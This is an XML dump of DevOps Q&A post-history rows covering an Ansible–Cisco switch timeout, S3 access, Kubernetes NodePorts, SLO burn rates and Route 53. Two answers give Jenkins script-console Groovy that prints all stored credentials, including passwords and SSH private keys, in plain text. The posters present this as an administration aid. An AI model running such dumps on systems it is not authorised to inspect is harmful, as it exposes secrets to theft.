&quot;match&quot;: &quot;all&quot;, &#xD;&#xA;            &quot;password&quot;: null, &#xD;&#xA;            &quot;port&quot;: null, &#xD;&#xA;            &quot;provider&quot;: null, &#xD;&#xA;            &quot;retries&quot;: 10, &#xD;&#xA;            &quot;ssh_keyfile&quot;: null, &#xD;&#xA;            &quot;timeout&quot;: null, &#xD;&#xA;            &quot;username&quot;: null, &#xD;&#xA;            &quot;wait_for&quot;: null&#xD;&#xA;        }&#xD;&#xA;    }, &#xD;&#xA;    &quot;msg&quot;: &quot;command timeout triggered, timeout value is 40 secs.\nSee the timeout setting options in the Network Debug and Troubleshooting Guide.&quot;&#xD;&#xA;}&#xD;&#xA;        to retry, use: --limit @/opt/ansible/Test_Clean.retry&#xD;&#xA;&#xD;&#xA;PLAY RECAP *************************************************************************************************************************&#xD;&#xA;SWITCH1                   : ok=0    changed=0    unreachable=0    failed=1   &#xD;&#xA;&#xD;&#xA;Playbook run took 0 days, 0 hours, 0 minutes, 92 seconds&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Here's what would be displayed on the switch console:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;SWITCH1# request platform software package clean switch all file flash: &#xD;&#xA;This operation may take several minutes...&#xD;&#xA;Running command on switch 1&#xD;&#xA;Cleaning up unnecessary package files&#xD;&#xA;  Scanning boot directory for packages ... done.&#xD;&#xA;  Preparing packages list to delete ... &#xD;&#xA;    packages.conf&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-guestshell.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-rpbase.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-rpcore.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-srdriver.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-webui.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;  done.&#xD;&#xA;  &#xD;&#xA;Running command on switch 2&#xD;&#xA;Cleaning up unnecessary package files&#xD;&#xA;  Scanning boot directory for packages ... done.&#xD;&#xA;  Preparing packages list to delete ... &#xD;&#xA;    cat3k_caa-rpbase.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    packages.conf&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-guestshell.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-rpcore.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-srdriver.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-webui.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;  done.&#xD;&#xA;  &#xD;&#xA;The following files will be deleted:&#xD;&#xA;[switch 1]:&#xD;&#xA;/flash/cat3k_caa-guestshell.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-rpbase.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-rpcore.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-srdriver.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-universalk9.16.06.06.SPA.conf&#xD;&#xA;/flash/cat3k_caa-webui.16.06.05.SPA.pkg&#xD;&#xA;/flash/packages.conf.00-&#xD;&#xA;[switch 2]:&#xD;&#xA;/flash/cat3k_caa-guestshell.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-rpbase.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-rpcore.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-srdriver.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-universalk9.16.06.06.SPA.conf&#xD;&#xA;/flash/cat3k_caa-webui.16.06.05.SPA.pkg&#xD;&#xA;/flash/packages.conf.00-&#xD;&#xA;&#xD;&#xA;Do you want to proceed? [y/n]&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;I've searched around a lot and tried everything I could think of. I have not seen anyone come across this specific issue yet. Any ideas?&#xD;&#xA;&#xD;&#xA;I'd appreciate any help. I'm pretty much dead in the water at this point." ContentLicense="CC BY-SA 4.0" />
  <row Id="26133" PostHistoryTypeId="4" PostId="8906" RevisionGUID="319efc21-8f64-4b3e-8488-f38fc1413759" CreationDate="2019-08-14T23:24:00.863" UserId="16576" Comment="added 2 characters in body" Text="IOS_Command Module - Delayed Prompt Issue (Cisco 3850 - IOS XE)" ContentLicense="CC BY-SA 4.0" />
  <row Id="26134" PostHistoryTypeId="2" PostId="8907" RevisionGUID="1df6e48c-27d6-45da-a526-f5dab5e22b08" CreationDate="2019-08-14T23:42:03.173" UserId="8800" Text="1. **Download - yes.** Simply set each Object ACL to be publicly readable. &#xD;&#xA;&#xD;&#xA;2. **List - sort of.** If you set the Bucket ACL to publicly readable anyone can list the content. However it's a rather human-unfriendly XML listing. &#xD;&#xA;&#xD;&#xA; You can generate your directory listings to some `index.html` files through an external process and configure the bucket to serve those.&#xD;&#xA;&#xD;&#xA;3. **Basic auth - nope.** You can look at something like [S3 pre-signed URLs][1] to protect the content.&#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.nz/best-practice/s3-presigned-url/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26135" PostHistoryTypeId="5" PostId="8692" RevisionGUID="c2a4173b-49cf-4091-810d-ef9f4ff09f68" CreationDate="2019-08-15T00:57:54.510" UserId="16159" Comment="Added another example to cover folder credentials, as asked by comment" Text="Here is a short snippet you can just run from the jenkins script console, to dump all of your credentials to plain text.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: groovy --&gt;&#xD;&#xA;&#xD;&#xA;    com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{&#xD;&#xA;      it.properties.each { prop, val -&gt;&#xD;&#xA;        println(prop + ' = &quot;' + val + '&quot;')&#xD;&#xA;      }&#xD;&#xA;      println(&quot;-----------------------&quot;)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;A more complicated version that lists for non-system credential providers:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: groovy --&gt;&#xD;&#xA;&#xD;&#xA;    import com.cloudbees.plugins.credentials.CredentialsProvider&#xD;&#xA;    import com.cloudbees.plugins.credentials.Credentials&#xD;&#xA;    import com.cloudbees.plugins.credentials.domains.Domain&#xD;&#xA;    import jenkins.model.Jenkins&#xD;&#xA;    def indent = { String text, int indentationCount -&gt;&#xD;&#xA;      def replacement = &quot;\t&quot; * indentationCount&#xD;&#xA;      text.replaceAll(&quot;(?m)^&quot;, replacement)&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    Jenkins.get().allItems().collectMany{ CredentialsProvider.lookupStores(it).toList()}.unique().forEach { store -&gt;&#xD;&#xA;      Map&lt;Domain, List&lt;Credentials&gt;&gt; domainCreds = [:]&#xD;&#xA;      store.domains.each { domainCreds.put(it, store.getCredentials(it))}&#xD;&#xA;      if (domainCreds.collectMany{ it.value}.empty) {&#xD;&#xA;        return&#xD;&#xA;      }&#xD;&#xA;      def shortenedClassName = store.getClass().name.substring(store.getClass().name.lastIndexOf(&quot;.&quot;) + 1)&#xD;&#xA;      println &quot;Credentials for store context: ${store.contextDisplayName}, of type $shortenedClassName&quot;&#xD;&#xA;      domainCreds.forEach { domain , creds -&gt;&#xD;&#xA;        println indent(&quot;Domain: ${domain.name}&quot;, 1)&#xD;&#xA;        creds.each { cred -&gt;&#xD;&#xA;          cred.properties.each { prop, val -&gt;&#xD;&#xA;            println indent(&quot;$prop = \&quot;$val\&quot;&quot;, 2)&#xD;&#xA;          }&#xD;&#xA;          println indent(&quot;-----------------------&quot;, 2)&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="26136" PostHistoryTypeId="5" PostId="8899" RevisionGUID="7010a08e-350e-4eff-86a8-05566202db5e" CreationDate="2019-08-15T06:26:41.230" UserId="12286" Comment="added 31 characters in body" Text="I need suggestion for Jenkins project (multi-conf or pipeline) and plugins that will fit my work.&#xD;&#xA;&#xD;&#xA;I have 10 &quot;flavors&quot; of the product, so I must build 10 times every time I commit to the repository (all in the same workspace).&#xD;&#xA;Today I have 10 jobs (freestyle) and a &quot;master&quot; job that trigger the rest.&#xD;&#xA;I tried to add Email notification (using Email Extension Plugin) but I want only one Email report for all the builds, not 10 Emails.&#xD;&#xA;&#xD;&#xA;I understand that I should change to one multi-configuration project or one pipeline project that will handle all the builds, so it will be easier to trigger only one Email, but what is the best practice to get only one Email report on multiple builds?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26140" PostHistoryTypeId="50" PostId="8376" RevisionGUID="4f67399b-9651-451c-8eb8-8f139fa5e4f1" CreationDate="2019-08-15T12:00:38.000" UserId="-1" />
  <row Id="26142" PostHistoryTypeId="50" PostId="5086" RevisionGUID="5f7741f7-278d-4570-836f-69b37ec2f1ef" CreationDate="2019-08-15T16:02:30.343" UserId="-1" />
  <row Id="26143" PostHistoryTypeId="2" PostId="8909" RevisionGUID="524d3d46-4099-4132-904b-5549dd118ca9" CreationDate="2019-08-15T20:46:34.590" UserId="16588" Text="I have a Deployment with 5 replicas. All have ssh and telnet. They should not be load balanced. I would like each to select from a predictable list of 5.&#xD;&#xA;&#xD;&#xA;Here is my Deployment&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: myapp&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: myapp&#xD;&#xA;  replicas: 5&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: myapp&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: myapp&#xD;&#xA;        image: myapp:1.0&#xD;&#xA;        ports:&#xD;&#xA;        - name: ssh&#xD;&#xA;          protocol: TCP&#xD;&#xA;          containerPort: 22&#xD;&#xA;        - name: telnet&#xD;&#xA;          protocol: TCP&#xD;&#xA;          containerPort: 23&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is my Service with invalid nodePort values for illustrative purposes.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: myapp&#xD;&#xA;  labels:&#xD;&#xA;    app: myapp&#xD;&#xA;spec:&#xD;&#xA;  type: NodePort&#xD;&#xA;  ports:&#xD;&#xA;  - name: ssh&#xD;&#xA;    port: 22&#xD;&#xA;    nodePort: [30022, 30122, 30222, 30322, 30422, 305220]&#xD;&#xA;  - name: telnet&#xD;&#xA;    port: 23&#xD;&#xA;    nodePort: [30023, 30123, 30223, 30323, 30423, 305223]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am hoping to be able to accomplish 2 things:&#xD;&#xA;&#xD;&#xA;1. Each pod replica instance will only get an ssh port from [30022, 30122, 30222, 30322, 30422, 305220] and a telnet port from [30023, 30123, 30223, 30323, 30423, 305223]&#xD;&#xA;2. A pod replica instance that gets an ssh port of 30022 also gets the telnet port 30023. A pod replica instance that gets an ssh port of 30122 gets a telnet port of 30123 and so on.&#xD;&#xA;&#xD;&#xA;Thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="26144" PostHistoryTypeId="1" PostId="8909" RevisionGUID="524d3d46-4099-4132-904b-5549dd118ca9" CreationDate="2019-08-15T20:46:34.590" UserId="16588" Text="How do I get more control over the NodePorts my Service assigns to my Deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26145" PostHistoryTypeId="3" PostId="8909" RevisionGUID="524d3d46-4099-4132-904b-5549dd118ca9" CreationDate="2019-08-15T20:46:34.590" UserId="16588" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26146" PostHistoryTypeId="5" PostId="8909" RevisionGUID="b2cc04d0-ebfb-4c25-904e-e2a8c7276e30" CreationDate="2019-08-15T21:01:51.013" UserId="16588" Comment="deleted 4 characters in body" Text="I have a Deployment with 5 replicas. All have ssh and telnet. They should not be load balanced. I would like each to select from a predictable list of 5.&#xD;&#xA;&#xD;&#xA;Here is my Deployment&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: myapp&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: myapp&#xD;&#xA;  replicas: 5&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: myapp&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: myapp&#xD;&#xA;        image: myapp:1.0&#xD;&#xA;        ports:&#xD;&#xA;        - name: ssh&#xD;&#xA;          protocol: TCP&#xD;&#xA;          containerPort: 22&#xD;&#xA;        - name: telnet&#xD;&#xA;          protocol: TCP&#xD;&#xA;          containerPort: 23&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is my Service with invalid nodePort values for illustrative purposes.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Service&#xD;&#xA;metadata:&#xD;&#xA;  name: myapp&#xD;&#xA;  labels:&#xD;&#xA;    app: myapp&#xD;&#xA;spec:&#xD;&#xA;  type: NodePort&#xD;&#xA;  ports:&#xD;&#xA;  - name: ssh&#xD;&#xA;    port: 22&#xD;&#xA;    nodePort: [30022, 30122, 30222, 30322, 30422, 30522]&#xD;&#xA;  - name: telnet&#xD;&#xA;    port: 23&#xD;&#xA;    nodePort: [30023, 30123, 30223, 30323, 30423, 30523]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am hoping to be able to accomplish 2 things:&#xD;&#xA;&#xD;&#xA;1. Each pod replica instance will only get an ssh port from [30022, 30122, 30222, 30322, 30422, 30522] and a telnet port from [30023, 30123, 30223, 30323, 30423, 30523]&#xD;&#xA;2. A pod replica instance that gets an ssh port of 30022 also gets the telnet port 30023. A pod replica instance that gets an ssh port of 30122 gets a telnet port of 30123 and so on.&#xD;&#xA;&#xD;&#xA;Thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="26147" PostHistoryTypeId="50" PostId="6372" RevisionGUID="b4164495-4d8f-4cd1-b5fa-a2bef9a44681" CreationDate="2019-08-16T02:00:55.117" UserId="-1" />
  <row Id="26148" PostHistoryTypeId="2" PostId="8910" RevisionGUID="6ff972cf-0fab-4660-9990-d4e0cbc410d7" CreationDate="2019-08-16T02:17:19.267" UserId="8251" Text="Since upgrading to these 2 Ansible modules I am having difficulties in setting the subnets to have default public IP when new instances are created by autoscaling?&#xD;&#xA;&#xD;&#xA;I can't find any setting on the documentation for this, how do I achieve this?&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/latest/modules/ec2_vpc_net_module.html&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/latest/modules/ec2_vpc_subnet_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26149" PostHistoryTypeId="1" PostId="8910" RevisionGUID="6ff972cf-0fab-4660-9990-d4e0cbc410d7" CreationDate="2019-08-16T02:17:19.267" UserId="8251" Text="Ansible ec2_vpc_net and ec2_vpc_subnet - where to set subnet default public ip" ContentLicense="CC BY-SA 4.0" />
  <row Id="26150" PostHistoryTypeId="3" PostId="8910" RevisionGUID="6ff972cf-0fab-4660-9990-d4e0cbc410d7" CreationDate="2019-08-16T02:17:19.267" UserId="8251" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26152" PostHistoryTypeId="2" PostId="8912" RevisionGUID="32d8d4f3-193b-484d-aa8a-a28bde9e512e" CreationDate="2019-08-16T09:04:52.857" UserId="16556" Text="For the record, The following snippet to be pasted into the console also does the job :&#xD;&#xA;&#xD;&#xA;&lt;!-- language: java --&gt;&#xD;&#xA;&#xD;&#xA;    def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(&#xD;&#xA;        com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,&#xD;&#xA;        Jenkins.instance,&#xD;&#xA;        null,&#xD;&#xA;        null&#xD;&#xA;    )&#xD;&#xA;     &#xD;&#xA;    for(c in creds) {&#xD;&#xA;      if(c instanceof com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey){&#xD;&#xA;        println(String.format(&quot;id=%s  desc=%s key=%s\n&quot;, c.id, c.description, c.privateKeySource.getPrivateKeys()))&#xD;&#xA;      }&#xD;&#xA;      if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl){&#xD;&#xA;        println(String.format(&quot;id=%s  desc=%s user=%s pass=%s\n&quot;, c.id, c.description, c.username, c.password))&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="26158" PostHistoryTypeId="2" PostId="8914" RevisionGUID="e2e3202f-e26c-44c7-99f3-129ca9a1ee3d" CreationDate="2019-08-16T10:54:34.053" UserId="16316" Text="As far as I understand kubernetes services, that trick is not possible.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;What could help you to have preserved hostnames is a StatefulSet.&#xD;&#xA;[See more here][1]&#xD;&#xA;&#xD;&#xA;&gt; The Pods’ ordinals, hostnames, SRV records, and A record names have&#xD;&#xA;&gt; not changed, but the IP addresses associated with the Pods may have&#xD;&#xA;&gt; changed. In the cluster used for this tutorial, they have. This is why&#xD;&#xA;&gt; it is important not to configure other applications to connect to Pods&#xD;&#xA;&gt; in a StatefulSet by IP address.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26159" PostHistoryTypeId="2" PostId="8915" RevisionGUID="acb1d6a7-ab79-44d4-9310-0a2156dfd262" CreationDate="2019-08-16T11:44:20.047" UserId="16591" Text="I've read the Google SRE book a few times but I need some clarifications on exactly how to set up the burn rate and understanding how long it'll take to trigger an alert.&#xD;&#xA;&#xD;&#xA;Most of my questions are specifically from this section on the book: https://landing.google.com/sre/workbook/chapters/alerting-on-slos/#4-alert-on-burn-rate&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; 1. [In Table 5-4][1], the error rate for 99.9% SLO for burn rate of 1 is equal to 0.1%. I just want to confirm - this 0.1% is coming from 100% - 99.9% where 99.9% is the SLO. Does this mean if some service has a ridiculously lower SLO, (say 90% SLO), then their error rate for burn rate of 1 would be 10%. Am I interpreting this properly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 2. Couple sentences below, the book says &#xD;&#xA;&#xD;&#xA;&gt; For burn rate-based alerts, the time taken for an alert to fire is (1-SLO/error ratio) * alerting window size * burn rate.&#xD;&#xA;&#xD;&#xA;So if my SLO is 95%, and my error rate is 1 (let's assume all the requests coming up in last 1 hour are errors). Let's assume my burn rate is 1. If I plug these values into the formula, I am getting, &#xD;&#xA;&#xD;&#xA;    (100-95/1) * 1 hour * 1 = 5.&#xD;&#xA;&#xD;&#xA;This is where my confusion is. Is this 5 hours? Do you convert 1 hour into 60 minutes to get the minutes? Is that how long it'll take Prometheus to fire the first alert?&#xD;&#xA;&#xD;&#xA;Furthermore, isn't the detection time too late if it will take 5 hours to get an alert? Maybe some concrete examples on how you use this formula to calculate some real values would be really helpful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 3. The next formula, &#xD;&#xA;&#xD;&#xA;&gt; The error budget consumed by the time the alert fires is: (burn rate * alerting window size)/period.&#xD;&#xA;&#xD;&#xA;Just want to clarify this - if my burn rate is 1 and my alerting window size is 1 hour, this means, within 5 hours, I would have consumed, (1 * 1)/5 = 20% of my error budget. &#xD;&#xA;&#xD;&#xA;Is this right?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 4. [The table 5-8][2] has recommendations to send an alert if the long window is 1 hour and the short window is 5 minutes and if the burn rate is 14.4 and the error budget consumed is 2%. &#xD;&#xA;&#xD;&#xA;In the graph above, it shows that the error rate for 5 minutes (10%) is higher than the error rate for 1 hour. Why would their error rates be different if the burn rate is same = 14.4? I'm having difficulty understanding this bit.&#xD;&#xA;&#xD;&#xA;It also says it will take 5 minutes to alert based on this information. Will this be true for any SLO? Or is it only true for 99.9% SLO?&#xD;&#xA;&#xD;&#xA; 5. And lastly, just wanted to clarify: The examples in the chapter use this following recording rule, which is for ratio of errors per request.&#xD;&#xA;&#xD;&#xA;&gt; job:slo_errors_per_request:ratio_rate1h{job=&quot;myjob&quot;} &gt; (14.4*0.001)&#xD;&#xA;&#xD;&#xA;If I want to something similar for identifying latency - i.e. ratio of all requests which have a latency of more than 2 seconds, then this would be the following PromQL:&#xD;&#xA;&#xD;&#xA;    (sum by (job, le) (rate(latency_quantile{job=&quot;myjob&quot;, le=&quot;2&quot;}[1h])) &#xD;&#xA;    /&#xD;&#xA;    sum by (job, le) (rate(request_count{job=&quot;myjob&quot;}[1h]))) &gt; (14.4 * 0.001)&#xD;&#xA;&#xD;&#xA;Does this look right?&#xD;&#xA;&#xD;&#xA;Bottom line, I wish this particular chapter, which the authors acknowledge that it has some complex implementations, had some more concrete examples especially around the formulae and the burn rate. Some examples specified in the tables and chart make sense. But some need a little more clarification to understand the nuances (e.g. specifying that a burn rate of 14.4 translates into 2% of the error budget and this is because when you divide by 30/14.4, you get 50 hours of error budget, and 1 hour is 2% of those 50 hours.)&#xD;&#xA;&#xD;&#xA;  [1]: https://landing.google.com/sre/workbook/chapters/alerting-on-slos/#burn_rates_and_time_to_complete_budget_ex&#xD;&#xA;  [2]: https://landing.google.com/sre/workbook/chapters/alerting-on-slos/#recommended_parameters_for_an_slo_based_a&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26160" PostHistoryTypeId="1" PostId="8915" RevisionGUID="acb1d6a7-ab79-44d4-9310-0a2156dfd262" CreationDate="2019-08-16T11:44:20.047" UserId="16591" Text="How to calculate burn rate for SLOs" ContentLicense="CC BY-SA 4.0" />
  <row Id="26161" PostHistoryTypeId="3" PostId="8915" RevisionGUID="acb1d6a7-ab79-44d4-9310-0a2156dfd262" CreationDate="2019-08-16T11:44:20.047" UserId="16591" Text="&lt;prometheus&gt;&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26163" PostHistoryTypeId="2" PostId="8916" RevisionGUID="95752e3b-5757-4e51-8f52-5ad01826e78f" CreationDate="2019-08-16T17:50:26.833" UserId="16605" Text="Been there done that... &#xD;&#xA;Try prompt '\]' and upgrade ansible to the version 2.8.1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26164" PostHistoryTypeId="5" PostId="8916" RevisionGUID="a59d0b8a-2a18-40d5-8214-0f48a9b910d7" CreationDate="2019-08-16T17:56:47.810" UserId="16605" Comment="added 2517 characters in body" Text="Been there done that... &#xD;&#xA;Try prompt '\]' and upgrade ansible to the version 2.8.1&#xD;&#xA;```&#xD;&#xA;    &quot;stdout_lines&quot;: [&#xD;&#xA;        [&#xD;&#xA;            &quot;Running command on switch 1&quot;, &#xD;&#xA;            &quot;Cleaning up unnecessary package files&quot;, &#xD;&#xA;            &quot;No path specified, will use booted path flash:packages.conf&quot;, &#xD;&#xA;            &quot;Cleaning flash:&quot;, &#xD;&#xA;            &quot;  Scanning boot directory for packages ... done.&quot;, &#xD;&#xA;            &quot;  Preparing packages list to delete ... &quot;, &#xD;&#xA;            &quot;    cat3k_caa-guestshell.16.03.07.SPA.pkg&quot;, &#xD;&#xA;            &quot;      File is in use, will not delete.&quot;, &#xD;&#xA;            &quot;    cat3k_caa-rpbase.16.03.07.SPA.pkg&quot;, &#xD;&#xA;            &quot;      File is in use, will not delete.&quot;, &#xD;&#xA;            &quot;    cat3k_caa-rpcore.16.03.07.SPA.pkg&quot;, &#xD;&#xA;            &quot;      File is in use, will not delete.&quot;, &#xD;&#xA;            &quot;    cat3k_caa-srdriver.16.03.07.SPA.pkg&quot;, &#xD;&#xA;            &quot;      File is in use, will not delete.&quot;, &#xD;&#xA;            &quot;    cat3k_caa-wcm.16.03.07.SPA.pkg&quot;, &#xD;&#xA;            &quot;      File is in use, will not delete.&quot;, &#xD;&#xA;            &quot;    cat3k_caa-webui.16.03.07.SPA.pkg&quot;, &#xD;&#xA;            &quot;      File is in use, will not delete.&quot;, &#xD;&#xA;            &quot;    packages.conf&quot;, &#xD;&#xA;            &quot;      File is in use, will not delete.&quot;, &#xD;&#xA;            &quot;  done.&quot;, &#xD;&#xA;            &quot;  &quot;, &#xD;&#xA;            &quot;The following files will be deleted:&quot;, &#xD;&#xA;            &quot;[1]:&quot;, &#xD;&#xA;            &quot;/flash/cat3k_caa-guestshell.16.03.06.SPA.pkg&quot;, &#xD;&#xA;            &quot;/flash/cat3k_caa-rpbase.16.03.06.SPA.pkg&quot;, &#xD;&#xA;            &quot;/flash/cat3k_caa-rpcore.16.03.06.SPA.pkg&quot;, &#xD;&#xA;            &quot;/flash/cat3k_caa-srdriver.16.03.06.SPA.pkg&quot;, &#xD;&#xA;            &quot;/flash/cat3k_caa-universalk9.16.03.07.SPA.conf&quot;, &#xD;&#xA;            &quot;/flash/cat3k_caa-wcm.16.03.06.SPA.pkg&quot;, &#xD;&#xA;            &quot;/flash/cat3k_caa-webui.16.03.06.SPA.pkg&quot;, &#xD;&#xA;            &quot;/flash/packages.conf.00-&quot;, &#xD;&#xA;            &quot;&quot;, &#xD;&#xA;            &quot;Do you want to proceed? [y/n]y&quot;, &#xD;&#xA;            &quot;&quot;, &#xD;&#xA;            &quot;[1]:&quot;, &#xD;&#xA;            &quot;Deleting file flash:cat3k_caa-guestshell.16.03.06.SPA.pkg ... done.&quot;, &#xD;&#xA;            &quot;Deleting file flash:cat3k_caa-rpbase.16.03.06.SPA.pkg ... done.&quot;, &#xD;&#xA;            &quot;Deleting file flash:cat3k_caa-rpcore.16.03.06.SPA.pkg ... done.&quot;, &#xD;&#xA;            &quot;Deleting file flash:cat3k_caa-srdriver.16.03.06.SPA.pkg ... done.&quot;, &#xD;&#xA;            &quot;Deleting file flash:cat3k_caa-universalk9.16.03.07.SPA.conf ... done.&quot;, &#xD;&#xA;            &quot;Deleting file flash:cat3k_caa-wcm.16.03.06.SPA.pkg ... done.&quot;, &#xD;&#xA;            &quot;Deleting file flash:cat3k_caa-webui.16.03.06.SPA.pkg ... done.&quot;, &#xD;&#xA;            &quot;Deleting file flash:packages.conf.00- ... done.&quot;, &#xD;&#xA;            &quot;SUCCESS: Files deleted.&quot;&#xD;&#xA;        ]&#xD;&#xA;    ]&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="26166" PostHistoryTypeId="2" PostId="8917" RevisionGUID="88cad64f-345f-41c9-95d5-b95c75d63042" CreationDate="2019-08-16T18:09:26.503" UserId="16607" Text="If the pods (quote) &quot;...should not be load balanced&quot;, each pod is to be accessed on different NodePort ports, the order of starting them up doesn't matter...you can:&#xD;&#xA;&#xD;&#xA;* Create 5 identical Deployment-s, say, myapp-1 thru myapp-5, with 1 replica each.&#xD;&#xA;* Create a Service for each Deployment making sure the selector is correct for each myapp-1 thru myapp-5 Deployment-s. Configure each Service with the concrete nodePort-s for ssh and telnet as you wish.&#xD;&#xA;&#xD;&#xA;It is to note that this way each pod will be independent of the rest and pods cannot be scaled by simply adding a replica. Still, if configured, the pods will be rescheduled and restarted in case of pod or node failure.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26167" PostHistoryTypeId="2" PostId="8918" RevisionGUID="bbf5258e-5a8e-4f02-98cd-4c278d7277b6" CreationDate="2019-08-16T19:43:41.293" UserId="5190" Text="When I look over the documentation for [Route 53 Routing Policies][1] they list 7 different policies. How should I pick the right one if I am building out new infrastructure in AWS for a US-based e-commerce website? Here is the list of offerings:&#xD;&#xA;&#xD;&#xA;- Simple&#xD;&#xA;- Failover&#xD;&#xA;- Geolocation&#xD;&#xA;- Geoproximity&#xD;&#xA;- Latency-based&#xD;&#xA;- Multivalue Answer&#xD;&#xA;- Weighted&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;These different routing policies are pretty confusing. I would of course always want failover for my DNS. Why would I ever choose Simple? Is there some major difference between Geolocation and Geoproximity? What difference does it make? &#xD;&#xA;&#xD;&#xA;Because of the confusion around all of this I am for now choosing latency-based routing. That seems simple and intuitive. I have ELBs to handle failover for me, and with my latency routing I have associated health-checks, so it _seems_ like my bases are covered. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26168" PostHistoryTypeId="1" PostId="8918" RevisionGUID="bbf5258e-5a8e-4f02-98cd-4c278d7277b6" CreationDate="2019-08-16T19:43:41.293" UserId="5190" Text="Route53 Routing Policies - Best Policy for US-based Ecommerce?" ContentLicense="CC BY-SA 4.0" />
